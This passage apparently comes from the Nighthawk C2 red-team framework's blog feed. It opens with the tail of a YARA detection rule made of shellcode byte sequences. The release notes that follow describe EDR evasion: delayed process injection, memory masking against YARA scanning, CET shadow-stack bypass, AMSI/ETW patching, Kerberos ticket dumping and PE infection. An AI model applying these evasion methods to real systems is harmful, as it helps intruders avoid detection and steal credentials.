               <span class="nx">$nh_shellcode_sequence_62</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">11</span> <span class="mi">6</span><span class="nx">A</span> <span class="mi">10</span> <span class="nx">E8</span> <span class="nx">AE</span> <span class="mi">14</span> <span class="mi">06</span> <span class="mi">00</span> <span class="mi">59</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">E</span> <span class="mi">04</span> <span class="mi">89</span> <span class="mi">04</span> <span class="nx">B9</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">E</span> <span class="mi">04</span> <span class="nx">FF</span> <span class="mi">75</span> <span class="mi">08</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">0</span><span class="nx">C</span> <span class="nx">B9</span> <span class="nx">E8</span> <span class="nx">C2</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="mi">46</span> <span class="mi">10</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_63</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="nx">A</span> <span class="nx">B1</span> <span class="mi">10</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B7</span> <span class="mi">86</span> <span class="nx">BC</span> <span class="mi">16</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">FF</span> <span class="mi">46</span> <span class="mi">14</span> <span class="mi">2</span><span class="nx">A</span> <span class="nx">C8</span> <span class="mi">83</span> <span class="mi">86</span> <span class="nx">BC</span> <span class="mi">16</span> <span class="mi">00</span> <span class="mi">00</span> <span class="nx">F3</span> <span class="mi">66</span> <span class="nx">D3</span> <span class="nx">EF</span> <span class="mi">0</span><span class="nx">F</span> <span class="nx">B7</span> <span class="nx">C7</span> <span class="nx">EB</span> <span class="mi">18</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">41</span> <span class="p">}</span>
               <span class="nx">$nh_shellcode_sequence_64</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">C2</span> <span class="nx">AC</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">46</span> <span class="mi">30</span> <span class="nx">C6</span> <span class="mi">45</span> <span class="nx">FC</span> <span class="mi">01</span> <span class="mi">50</span> <span class="mi">8</span><span class="nx">D</span> <span class="mi">4</span><span class="nx">F</span> <span class="mi">30</span> <span class="nx">E8</span> <span class="nx">B2</span> <span class="nx">AC</span> <span class="nx">FD</span> <span class="nx">FF</span> <span class="mi">8</span><span class="nx">B</span> <span class="mi">4</span><span class="nx">D</span> <span class="nx">F4</span> <span class="mi">8</span><span class="nx">B</span> <span class="nx">C7</span> <span class="mi">5</span><span class="nx">F</span> <span class="mi">5</span><span class="nx">E</span> <span class="mi">64</span> <span class="mi">89</span> <span class="mi">0</span><span class="nx">D</span> <span class="mi">00</span> <span class="mi">00</span> <span class="p">}</span>
        <span class="nl">condition</span><span class="p">:</span>
        <span class="mi">12</span> <span class="k">of </span><span class="p">(</span><span class="nx">$nh_shellcode_sequence</span><span class="o">*</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We continued to monitor the underground forums for chatter about the software, and particular thanks to Palo Alto’s Unit42 for supporting us in extending our visibility by providing us with threat intelligence data. Everything that we saw indicated that the software was not fully functional and due to the missing components could not be made to work. Over the coming months, we saw the software became more widely shared/traded on Telegram and other platforms including virus total. While it’s impossible to control this, we attempted to thwart the spread by making it less publicly available by alerting the hosting platforms and issuing DMCA takedowns where necessary.</p>

<p>When we first became aware of the leak, we also realised that we needed to do better at protecting the software. While we still believe that strict vetting, issuing the software on a named user basis and watermarking are a strong deterrent and push for a responsible customer, they can’t prevent accidental or intentional disclosure of the software. Once any component is in the hands of a bad actor, the only fallback you have is your technical controls, and in this case what we had was insufficient for protecting it being used.</p>

<p>With the above in mind, we felt we were at a cross roads and had a choice of either continuing on with business as normal, focussing on building new features and evasions or try and give our full attention to mitigating the risks of any future leaks by giving the technical protections a serious re-architecture. In our mind, the weight and risks of potential abuse far outweighed any X Internet points for new evasion and we made the conscious decision that we would not release any further versions of the software under the current licensing format.  We didn’t want to spend the next ten years paying lip service to threat actor abuse before making the choice to improve our controls.</p>

<p>Sometime in January we began redesigning our licensing solution, basing our efforts on one key concept; that we should always be able to retain control of the software, even if it leaked. This ultimately meant that we needed to change how the software worked, as historically we had designed it to be able to offer a fully offline solution as this is a key requirement for certain types of customers. However, the downside to that model is you lose a degree of control.</p>

<p>As of Nighthawk 0.3.4, online connectivity is required to start both the API server and the UI, including on restart in the case of the API server. Both will operate offline once they have been launched, but should they be closed, online connectivity will again be required for the API. This online requirement empowers us as the software vendor as it means we now have the ability to prevent the software functioning if we need to revoke it.  In its on-disk format, all components of the software are unusable in the software bundle until it is online activated; meaning that if the software leaked in future it would simply be unusable.</p>

<p>To limit any potential spread of the software even with a legitimate license, we also introduced hardware locking. The hardware locking is intertwined with the online activation, with users only able to concurrently activate up to the number of purchased licenses. To make this as manageable for customers as possible, we added the ability to deactivate the license seat to the UI. We felt that this was a reasonable compromise for users who may be using per engagement operator VMs for example. The software bundles continues to remain only available behind an MFA protected portal.</p>

<p>To protect our new controls from reverse engineering and cracking, we also wrapped them in a number of commercial and homegrown protections and obfuscators.</p>

<p>We’re not saying what we’ve developed is perfect or even uncrackable, we’re hackers as well after all and recognise the limitations of any type of licensing solution, but we feel it’s a significant step in the right direction for protecting the product from abuse. However, at the same time we’re not intending on writing a <a href="https://web.archive.org/web/20210128225920/http://blog.cobaltstrike.com:80/2013/09/05/how-to-crack-cobalt-strike-and-backdoor-it/?replytocom=1733">blog post</a> on how to crack it ourselves, even in satire.</p>

<p>We still regularly check-in with various EDR vendors to see if they have seen any in the wild abuse of the software. To date, we have not been made aware of a single instance and we suspect this is predominantly due to the leaked copy being incomplete. However, we also recognise this was more luck than it being impossible. If any blue teams are looking for support in trying to determine the legitimacy of a Nighthawk artifact, we’ve setup the <a href="mailto:abuse@nighthawkc2.io">abuse@nighthawkc2.io</a> mailbox and we’d encourage anyone with any suspicions to get in touch.</p>

<h2 id="whats-new">What’s New</h2>

<p>In April, we made two new additions to the Nighthawk team; <a href="https://x.com/GigelV41464">GigelV41464</a> and <a href="https://x.com/saab_sec">saab_sec</a>, bringing the team to five full time developers. The team has been exceptionally busy, building new features, tools and performing R&amp;D and there’s a number of exciting new developments in the works that we expect to be pushed over the next few releases.</p>

<p>In the 0.3.4 release, in addition to a number of bug fixes and minor OpSec improvements like stretching the beacon call stack masking to our <code class="language-plaintext highlighter-rouge">execute-bof</code> and <code class="language-plaintext highlighter-rouge">execute-exe</code> harnesses, we added a number of new features.</p>

<h3 id="asynchronous-bof-support">Asynchronous BOF Support</h3>

<p>In September last year at the Redtreat conference, the Outflank team presented a talk on Asynchronous BOFs and with us and several other c2 vendors, discussed the possibility of introducing this concept as a new standard. The idea being that a number of new beacon API calls would be introduced to support asynchronous execution and implemented such that the same BOF would work regardless of what framework you were using.</p>

<p>The concept behind asynchronous BOFs is that the BOF should be able to execute and run independently, irrespective of the beacon’s state in its sleep cycle. We’re not going to dive in to this topic in any greater detail as our friends at Outflank already published a <a href="https://www.outflank.nl/blog/2025/07/16/async-bofs-wake-me-up-before-you-go-go/">post</a>  on it and we recommend you check this out first if you haven’t already.</p>

<p>As mentioned, the Async BOF API includes a number of new methods to support this design; the full specification will be released by Outflank in due course.</p>

<p>Within this release, we included a number of examples of Async BOFs:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">alert_logon_async</code>: this BOF will continue to execute while the beacon remains in it’s encrypted sleep state, waking the beacon when a specific user logs on.</li>
  <li><code class="language-plaintext highlighter-rouge">alert_process_async</code>: this BOF will continue to execute while the beacon remains in it’s encrypted sleep state, waking the beacon when a specific process is created.</li>
</ul>

<p>In addition to this, we also ported our beacon’s call stack masking feature to our BOF harness and execute-exe harnesses such that the thread for both BOF and exe executions occur with a fully spoofed call stack.</p>

<p>Check out this example that monitors for <code class="language-plaintext highlighter-rouge">notepad.exe</code> being created while the core beacon continues to remain in its encrypted sleep cycle:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1115201393" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<h3 id="revamped-injectors">Revamped Injectors</h3>

<p>Remote process injection can be a common detection point in post-exploitation tradecraft. The reason for this is that conceptually there are only a finite number of ways to achieve it and for the most part they all involve the common steps of opening handles, allocating memory and using some form of trigger to execute it in a new or hijacked thread. This allows EDRs to closely monitor for this kind of behaviour and alert on anything following these steps. In our previous release, we added a new and unpublished injection vector to our injector chains which avoided some of the common IoCs associated with remote process injection. In this release, we improved this by adding a number of permutations that improved the reliability of the technique, specifically the <code class="language-plaintext highlighter-rouge">ExperimentalHijackNoUIThread</code>, <code class="language-plaintext highlighter-rouge">ExperimentalHijackCreateThread</code> and <code class="language-plaintext highlighter-rouge">ExperimentalHijackCreateThreadIndirect</code> configuration options for <code class="language-plaintext highlighter-rouge">ExecuteMemory</code>. We don’t intend to elaborate at this time on how this thread hijacking technique works to prolong its effectiveness.</p>

<p>Further to this, we added a new injector chain configuration option <code class="language-plaintext highlighter-rouge">delay-executememory</code>. When set, this configuration option will add a timer to the final step of shellcode execution, irrespective of the injector chain being used. Through our own testing, we found that in many cases adding a sufficiently large delay of 5 to 10 minutes or more to a process injection technique would sufficiently disrupt the EDR timeline that it would not accurately correlate the process injection steps correctly, meaning that even basic injector chains using known primitives such as <code class="language-plaintext highlighter-rouge">SetThreadContext</code> or <code class="language-plaintext highlighter-rouge">CreateThread</code> would still be effective.</p>

<p>Good things come to those who wait ;)</p>

<h3 id="improvements-to-c2-protocols">Improvements to C2 Protocols</h3>

<p>Nighthawk’s C2 protocol was originally built across a number of steps that would asynchronously complete each task using a specific sequence of request and responses. This protocol had the benefits of compact requests, reliability and error checking with a tradeoff against the volume of requests.</p>

<p>In our latest release, we introduced a new C2 protocol named <code class="language-plaintext highlighter-rouge">sync</code>. When using <code class="language-plaintext highlighter-rouge">sync</code>, the beacon and C2 server will batch tasks across a single set of request and responses, significantly reducing the number of C2 requests and therefore dramatically improving speed, against the tradeoff of larger request/response sequences.</p>

<p>This protocol is ideal when high performance is required, including scenarios such as SOCKs, <code class="language-plaintext highlighter-rouge">hidden-desktop</code> or <code class="language-plaintext highlighter-rouge">screenwatch</code>.</p>

<h3 id="native-kerberos-support">Native Kerberos Support</h3>

<p>One of the things that’s been on our agenda for some time was improving the beacon’s support for kerberos tickets. This release made our first steps in that direction, introducing a number of additional built-in commands to handle various kerberos related tradecraft. Specifically, the following commands that will run natively inside beacon are now available:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">klist</code>: list out the kerberos tickets available in memory,</li>
  <li><code class="language-plaintext highlighter-rouge">dump</code>: dump the current kerberos tickets from memory,</li>
  <li><code class="language-plaintext highlighter-rouge">ptt</code>: inject a ticket to a specific logon ID,</li>
  <li><code class="language-plaintext highlighter-rouge">luid</code>: list the current logon ID</li>
</ul>

<p>We have a number of follow on posts planned to outline these and other features in Nighthawk, so stay tuned - happy hacking!</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.3.4" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Sivako]]></summary></entry><entry><title type="html">Nighthawk 0.3.3 – Evanesco</title><link href="https://nighthawkc2.io/evanesco/" rel="alternate" type="text/html" title="Nighthawk 0.3.3 – Evanesco" /><published>2024-11-29T00:00:00+00:00</published><updated>2024-11-29T00:00:00+00:00</updated><id>https://nighthawkc2.io/evanesco</id><content type="html" xml:base="https://nighthawkc2.io/evanesco/"><![CDATA[<center><img src="/assets/img/evanesco.png" /></center>

<h1 id="introduction">Introduction</h1>

<p>Nighthawk 0.3.3; Evanesco, unveils our latest research. “Evanesco” is a Latin term that means “I disappear” or “I vanish.” Potterheads may also recognise it as the spell used to make objects disappear. This is exactly what the Nighthawk 0.3.3 release does; disappears from memory under a cloak of invisibility.</p>

<p>This is also the first release since we welcomed <a href="https://x.com/s4ntiago_p">@s4ntiago_p</a> to the <a href="https://www.mdsec.co.uk">@MDSecLabs</a> team; his positive contributions to Nighthawk are already coming to fruition in this release and we’re excited about what he brings to the team going forwards.</p>

<p>As a minor release, we’ve focussed on delivering a small number of innovative new features, while also making a significant number of quality of life and bug fixes. Let’s look at some of the improvements.</p>

<h1 id="memory-masking"><strong>Memory Masking</strong></h1>

<p>In-memory tradecraft is now essential for operating in modern, mature Windows environments. Memory scanning, whether periodic or event-driven, poses an unavoidable challenge when facing Endpoint Detection &amp; Response solutions and teams of threat hunters.</p>

<p>One of the biggest challenges for in-memory tradecraft is avoiding signatures. The most common approach is implementing sleep encryption, a technique that keeps the beacon fully encrypted during its sleep cycle. A public example is <a href="https://x.com/C5pider">@C5pider’s</a> EKKO, an implementation influenced by Nighthawk, which encrypts and decrypts copies of the reflective DLL while avoiding executable memory through <code class="language-plaintext highlighter-rouge">NTContinue</code> gadgets and the <code class="language-plaintext highlighter-rouge">CreateTimerQueueTimer</code> API.</p>

<p>While this approach reduces the exposure of the beacon while no active tasking is occurring, there are of course significant periods while the beacon will be in plaintext in memory, including during initial execution to bootstrap the beacon, during any post-exploitation tasks that may block sleep obfuscation or while in interactive mode such was if performing SOCKs or reverse port forwarding where responsive c2 communications is required. Outside from this, a number of EDR solutions will use event driven memory scanning, where a memory scan is automatically initiated following some form of suspicious actions, which may occur from post-exploitation tooling. This can also tie in to captures of allocation routines, which inevitably leads to the exposure of plaintext memory.</p>

<p>Some of these signatures can be side stepped using simple modifications to either the beacon source code or the reflective DLL, it does require intelligence on the signature. This is less of a problem where the vendor has open sourced their <a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules">rules</a>, but can be more problematic when up against other less open solutions. In most commercial C2 products, such modifications would also typically need to be done by the vendor and can therefore create a lead time before the signature can be bypassed.</p>

<p>Nighthawk 0.3.3 introduces a groundbreaking memory hiding feature that masks all inactive pages of the beacon, even during interactive execution. This means only a tiny fraction—approximately 2%—of the codebase is ever exposed in plaintext memory at any given moment. We’ve also extended this feature to our <code class="language-plaintext highlighter-rouge">execute-exe</code> harness, ensuring that PEs executed inline remain fully encrypted during execution.</p>

<p>The memory hiding feature offers several configurable modes, allowing pages to be optionally encrypted and/or distributed across memory using driploading, for enhanced security.</p>

<p>The following example demonstrates how a Yara rule detects a static signature within a Nighthawk artifact, both on disk and in memory, for a beacon in interactive mode. However, when Nighthawk’s memory hiding feature is enabled, these indicators become invisible—even with a sleep interval of 0:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1029713210" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>As mentioned above, this doesn’t just apply to the beacon itself but the memory hiding is extended to the <code class="language-plaintext highlighter-rouge">execute-exe</code> inline PE harness, and in the following video you can see we’re able to run <code class="language-plaintext highlighter-rouge">mimikatz.exe</code> in the thread of our beacon process on a sleep 0 and still evade any Yara signatures:</p>

<div class="video-container">
    <iframe src="https://player.vimeo.com/video/1034608448" frameborder="0" allow="autoplay; fullscreen; picture-in-picture" allowfullscreen=""></iframe>
</div>

<p>Of course, a small stub of code used for decryption and memory hiding must remain exposed. You might think this simply shifts the problem elsewhere. However, we anticipated this and built a code mutator that randomly obfuscates and mutates the decrypt stubs on every artifact generation. This approach significantly reduces the risks posed by signatures.</p>

<center><img src="/assets/img/yara.png" /></center>

<h1 id="python-api">Python API</h1>

<p>In our 0.3 <a href="https://nighthawkc2.io/automate-all-the-things/">release</a>, we announced the introduction of a new JSON RPC web service API to automate the beacon. With that release, we provided a .NET API, with a selection of c# helper implementations. In this release we’ve mirrored the c# API in an installable Python library.</p>

<p>The Python API allows Nighthawk users to build tooling around the API to interact and automate the beacon. Alongside this, we’ve provided a number of helpful example scripts to illustrate various basic tasks such as notify on new beacons, execute BOFs, monitor for processes on a host and much more.</p>

<p>In the example below, we see two scripts; the first which lists all the agents currently connected, and the second which simply just runs the <code class="language-plaintext highlighter-rouge">pwd</code> command on all agents:</p>

<center><img src="/assets/img/pythonapi.png" /></center>

<h1 id="python-module-support">Python Module Support</h1>

<p>One feature that we were lacking inside Nighthawk was support for client side scripting, similar to how other frameworks such as Cobalt Strike leverage CNA (Sleep 🤮). In this release, we introduced client side scripting support in Python, using PythonNet.</p>

<p>Using the Nighthawk Python API, its now possible to execute and process output from BOFs, Exes and .NET assemblies, facilitating much greater automation within the client.</p>

<p>The Nighthawk Python API introduces the following new methods in the <code class="language-plaintext highlighter-rouge">nighthawk</code> Python class:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">register_command</code>: adds a new command to the Nighthawk client (including help and autocomplete support),</li>
  <li><code class="language-plaintext highlighter-rouge">execute_exe</code>: instructs the agent to run an exe using the beacons <code class="language-plaintext highlighter-rouge">execute-exe</code> command,</li>
  <li><code class="language-plaintext highlighter-rouge">execute_bof</code> : instructs the agent to run a BOF using the beacons <code class="language-plaintext highlighter-rouge">execute-bof</code> harness,</li>
  <li><code class="language-plaintext highlighter-rouge">inproc_execute_assembly</code>: instructs the agent to run a .NET assembly using the beacons <code class="language-plaintext highlighter-rouge">inproc-execute-assembly</code> command,</li>
  <li><code class="language-plaintext highlighter-rouge">get_agents</code> : retrieve a list of all beacon agents (dead or alive),</li>
  <li><code class="language-plaintext highlighter-rouge">get_agent_info</code>: gets basic information about an agent,</li>
  <li><code class="language-plaintext highlighter-rouge">console_write</code> : prints text to the console.</li>
</ul>

<p>In addition to this, the API also includes a <code class="language-plaintext highlighter-rouge">Packer</code>  class which can be used to pack BOF arguments.</p>

<p>External tooling can then be trivially integrated in to Nighthawk, and if required parsed and processed in Python code. For example, to add a new <code class="language-plaintext highlighter-rouge">calcs</code> command to Nighthawk, using the <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF">Situational Awareness BOF</a> suite, you might create a python script similar to the following:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">#</span> <span class="nx">python</span> <span class="kd">function</span> <span class="nf">that</span> <span class="nx">will</span> <span class="nx">be</span> <span class="nx">called</span> <span class="nx">when</span> <span class="nx">the</span> <span class="dl">'</span><span class="s1">cacls</span><span class="dl">'</span> <span class="nx">command</span> <span class="nx">is</span> <span class="nx">entered</span>
<span class="nx">def</span> <span class="nf">cacls_function</span><span class="p">(</span><span class="nx">params</span><span class="p">,</span> <span class="nx">info</span><span class="p">):</span>
	<span class="err">#</span> <span class="nx">make</span> <span class="nx">sure</span> <span class="nx">the</span> <span class="nx">parameters</span> <span class="nx">are</span> <span class="nx">ok</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="dl">"</span><span class="s2">No enough params</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="nx">False</span>
    <span class="nx">elif</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Too many params</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="nx">False</span>

    <span class="err">#</span> <span class="nx">the</span> <span class="nx">only</span> <span class="nx">parameter</span> <span class="nx">is</span> <span class="nx">the</span> <span class="nx">file</span> <span class="nx">path</span>
    <span class="nx">path</span> <span class="o">=</span> <span class="nx">params</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

    <span class="err">#</span> <span class="kd">get</span> <span class="nx">an</span> <span class="nx">instance</span> <span class="k">of</span> <span class="nx">the</span> <span class="nx">packer</span> <span class="kd">class</span>
    <span class="nc">packer</span> <span class="o">=</span> <span class="nc">Packer</span><span class="p">()</span>
    <span class="err">#</span> <span class="nx">add</span> <span class="nx">the</span> <span class="nx">path</span> <span class="nx">as</span> <span class="nx">a</span> <span class="nx">wide</span> <span class="nx">string</span>
    <span class="nx">packer</span><span class="p">.</span><span class="nf">addwstr</span><span class="p">(</span><span class="nx">path</span><span class="p">)</span>
    <span class="err">#</span> <span class="kd">get</span> <span class="nx">the</span> <span class="nx">packed</span> <span class="nx">arguments</span>
    <span class="nx">packed_params</span> <span class="o">=</span> <span class="nx">packer</span><span class="p">.</span><span class="nf">getbuffer</span><span class="p">()</span>
    
    <span class="err">#</span> <span class="nx">schedule</span> <span class="nx">the</span> <span class="nx">execution</span> <span class="k">of</span> <span class="nx">the</span> <span class="nx">BOF</span>
    <span class="nx">message_id</span> <span class="o">=</span> <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">execute_bof</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">bin/cacls.{info.Agent.ProcessArch}.o</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">go</span><span class="dl">"</span><span class="p">,</span> <span class="nx">packed_params</span><span class="p">,</span> <span class="nx">True</span><span class="p">,</span> <span class="nx">False</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">simply</span> <span class="k">return</span> <span class="nx">the</span> <span class="nx">message_id</span> <span class="nx">returned</span> <span class="nx">by</span> <span class="dl">'</span><span class="s1">execute_bof</span><span class="dl">'</span>
    <span class="k">return</span> <span class="nx">message_id</span>

<span class="err">#</span> <span class="nx">register</span> <span class="nx">the</span> <span class="k">new</span> <span class="dl">'</span><span class="s1">cacls</span><span class="dl">'</span> <span class="nx">command</span>
<span class="nx">nighthawk</span><span class="p">.</span><span class="nf">register_command</span><span class="p">(</span><span class="nx">cacls_function</span><span class="p">,</span> <span class="dl">"</span><span class="s2">cacls</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">List user permissions for the specified file, wildcards supported</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Lists file permissions</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"""</span><span class="s2">cacls &lt;file path&gt;

    Key:
        F: Full access
        R: Read &amp; Execute access
        C: Read, Write, Execute, Delete
        W: Write access</span><span class="dl">"""</span><span class="p">,</span><span class="dl">"</span><span class="s2">cacls C:</span><span class="se">\\</span><span class="s2">windows</span><span class="se">\\</span><span class="s2">system32</span><span class="se">\\</span><span class="s2">cmd.exe</span><span class="dl">"</span> <span class="p">)</span>

</code></pre></div></div>

<p>The scripts can then be imported to Nighthawk using the Python Modules feature. We’ve provided a thorough example using Fortra’s <a href="https://github.com/fortra/nanodump">Nanodump</a>:</p>

<center><img src="/assets/img/nanodump.png" /></center>

<p>When the script is imported, it then introduces the <code class="language-plaintext highlighter-rouge">nanodump</code> command to Nighthawk:</p>

<center><img src="/assets/img/nanodumpoutput.png" /></center>

<p>We hope this feature will allow users to better extend and instrument Nighthawk from the client.</p>

<h1 id="cet-support">CET Support</h1>

<p>Control-flow Enforcement Technology (CET) is a feature found in modern processors that offers protection against control flow hijacking attacks. To implement this, a secondary stack or “shadow stack” is allocated from memory that is not directly tamperable. CET is significantly growing in prevalence and where hardware support is available, is enabled by default in modern Windows 10 and 11.</p>

<p>Shadow stack has implications for several popular OpSec features used by implants, but almost certainly breaks most if not all publicly known sleep obfuscation techniques. The consequence of which means you may be limited in the processes where you can beacon from, popular targets such as <code class="language-plaintext highlighter-rouge">msedge.exe</code> or <code class="language-plaintext highlighter-rouge">chrome.exe</code> being protected by CET mitigations.</p>

<p>In this release of Nighthawk, we rearchitected several features of the beacon to ensure they did not trigger a CET exceptions, bypassing shadow stack protection and making beaconing great again.</p>

<h1 id="miscellaneous-improvements">Miscellaneous Improvements</h1>

<p>In addition to the above, we made a number of miscellaneous improvements to Nighthawk and the other supporting tools, including:</p>

<ul>
  <li>Added a new, unpublished and private technique for cross process injection using function pointer hijacking,</li>
  <li>Improvements to Hidden Desktop to incorporate Windows 11 changes,</li>
  <li>Improvements to Hidden Desktop to evade common detection points,</li>
  <li>Added support for Cobalt Strike BOF key/value API,</li>
  <li>A large rewrite of our <code class="language-plaintext highlighter-rouge">execute-exe</code> harness, improving OpSec and increasing support for other varieties of PE, including Rust binaries,</li>
  <li>A number of improvements to NHLoader and the Nighthawk injectors to add support for disabling CET in spawned processes,</li>
  <li>A complete rewrite of the PE infection mode for NHLoader to implement a more effective method PE infection for exe and DLL PE files,</li>
  <li>Addition of alternative more evasive options for patching AMSI and ETW.</li>
</ul>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.3.3" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Evanesco]]></summary></entry><entry><title type="html">Nighthawk 0.3 – Automate All The Things</title><link href="https://nighthawkc2.io/automate-all-the-things/" rel="alternate" type="text/html" title="Nighthawk 0.3 – Automate All The Things" /><published>2024-06-01T01:00:00+01:00</published><updated>2024-06-01T01:00:00+01:00</updated><id>https://nighthawkc2.io/automate-all-the-things</id><content type="html" xml:base="https://nighthawkc2.io/automate-all-the-things/"><![CDATA[<center><img src="/assets/img/automate.png" /></center>

<h1 id="introduction">Introduction</h1>

<p>OpSec and evasion are two of the most important factors for red team success in modern day operations, and Nighthawk continues to lead the way in innovation on this front. However, they are not the only considerations that contribute to the overall success of an operation. The capability to streamline your workflow and extend red team tooling beyond the core beacon goes a long way in improving the efficiency and accuracy, adaptability, and collaboration of your team.</p>

<p>Nighthawk’s 0.3 release is probably the most significant and impactful change to the framework since its creation and almost no new beacon features or evasion strategies have been introduced. Users need not worry though, we have something exciting coming on that front…</p>

<h1 id="redesign">Redesign</h1>

<p>The key focus for this release was improving automation and operator quality of life, and to accommodate this it meant several significant architectural changes to the solution. This included a complete rewrite of the backend API server and partial but significant rewrite of the user interface.</p>

<p>With our 0.3 release we made several core changes to the overall product architecture, including:</p>

<ul>
  <li>Redevelopment of the backend API server, moving from python to .NET core,</li>
  <li>Creation of new JSON web service APIs to expose all beacon management, alongside event registration,</li>
  <li>Repositioning of all c2 logic to the new API server,</li>
  <li>Transition of UI and API communications to web sockets,</li>
  <li>Creation of new modes for c2 and API server IPC, including HTTP/2 and shared sockets.</li>
  <li>The redesign brings a number of benefits to our users, particularly around automation and performance. To streamline interaction with our new JSON API, we also provide a number of c# helper interfaces, allowing new projects to be built with just a few lines of code.</li>
</ul>

<p>These interfaces provide full programmatic management and interactivity with the beacon; for example in a handful of lines of c#, we can create a tool to schedule new beacon commands (in this case just a shell command) and real time stream console output back:</p>

<p><img src="/assets/img/nhapi.png" /></p>

<p>The APIs comes complete with documentation for Swagger and Redoc, with full examples of the underlying requests:</p>

<p><img src="/assets/img/redoc.png" />
<br /><br />
<img src="/assets/img/redoc2.png" /></p>

<p>The possibilities of where you can take this are endless, but some ideas we’ve already started building out are:</p>

<ul>
  <li>Notification bots for Slack and Mattermost,</li>
  <li>Bots to run post-ex tooling to automatically triage and if required, deploy persistence on endpoints following initial check-in,</li>
  <li>Bots to monitor virus total for hashes of any uploaded artifacts.</li>
</ul>

<h1 id="socks-rewrite">SOCKS Rewrite</h1>

<p>Our 0.2 SOCKS implementation was SOCKS4a and a little clunky, which we recognised as one of the key user pain points. Therefore while implementing a new backend, we also took the opportunity to completely rewrite and update our SOCKS implementation. With Nighthawk 0.3, we now offer a new, lightning fast SOCKS5 implementation with both DNS and UDP support, as well as HTTP keep alive.</p>

<p>Below we can see we’re easily able to get downloads in excess of 2mb/s using a 100mb test file, downloaded over the Fastly CDN redirecting to AWS and accessed over Tailscale:</p>

<p><img src="/assets/img/socks.png" /></p>

<h1 id="improved-user-interface">Improved User Interface</h1>

<p>One of the other key changes we made with this release was stripping back the Nighthawk user interface. Thanks to the new JSON API, we were able to rewrite the operator UI to act as a simple, thin wrapper for rendering JSON responses over web sockets, void of any logic or heavy lifting. The primary benefit of this is the significant performance increase that it brings, greatly improving the overall look and feel of the product to operators.</p>

<p>While rewriting the UI, we also introduced several new key features, including a c2 mesh graph and a modifiable beacon command queue.</p>

<p>Resizable console and pivot graph windows, with moveable pivot nodes make the look and feel of the UI much slicker and responsive:</p>

<p><img src="/assets/img/p2p.png" /></p>

<p>We also added a visual command queue to list what pending commands are there for each agent, with the option to trivially cancel them prior to execution if you’ve made a mistake:</p>

<p><img src="/assets/img/cmdqueue.png" /></p>

<h1 id="nhloader">NHLoader</h1>

<p>In addition to improvements to the core command-and-control component of Nighthawk, we also introduced a number of new features and improvements to NHLoader, the Nighthawk PE generator. These included the following:</p>

<p>A new PE infection injection mode to process legitimate PE binaries and modify them to run arbitrary shellcode on execution. This of course offers a number of benefits, borrowing the feeling of legitimacy from the original artifact, which can assist in evading certain EDR’s PE repudiation and machine learning detections.
A new DLL proxying mode to support proxying to the legitimate COM server while performing COM hijacking, helping maintain the stability and integrity of the hijacked process.
All of this is wrapped up in to a nice offline, point and click GUI based application:</p>

<p><img src="/assets/img/nhloadernew.png" /></p>

<h1 id="stego-loader">Stego Loader</h1>

<p>The Stego staging tool was previously built in to the main Nighthawk UI but with the 0.3 release we’ve separated it off to an offline, standalone GUI based tool.</p>

<p>This release also came with several new improvements to the stego tool, including timer based execution intervals and alternate modes for steganography.</p>

<p><img src="/assets/img/stegoldrui.png" /></p>

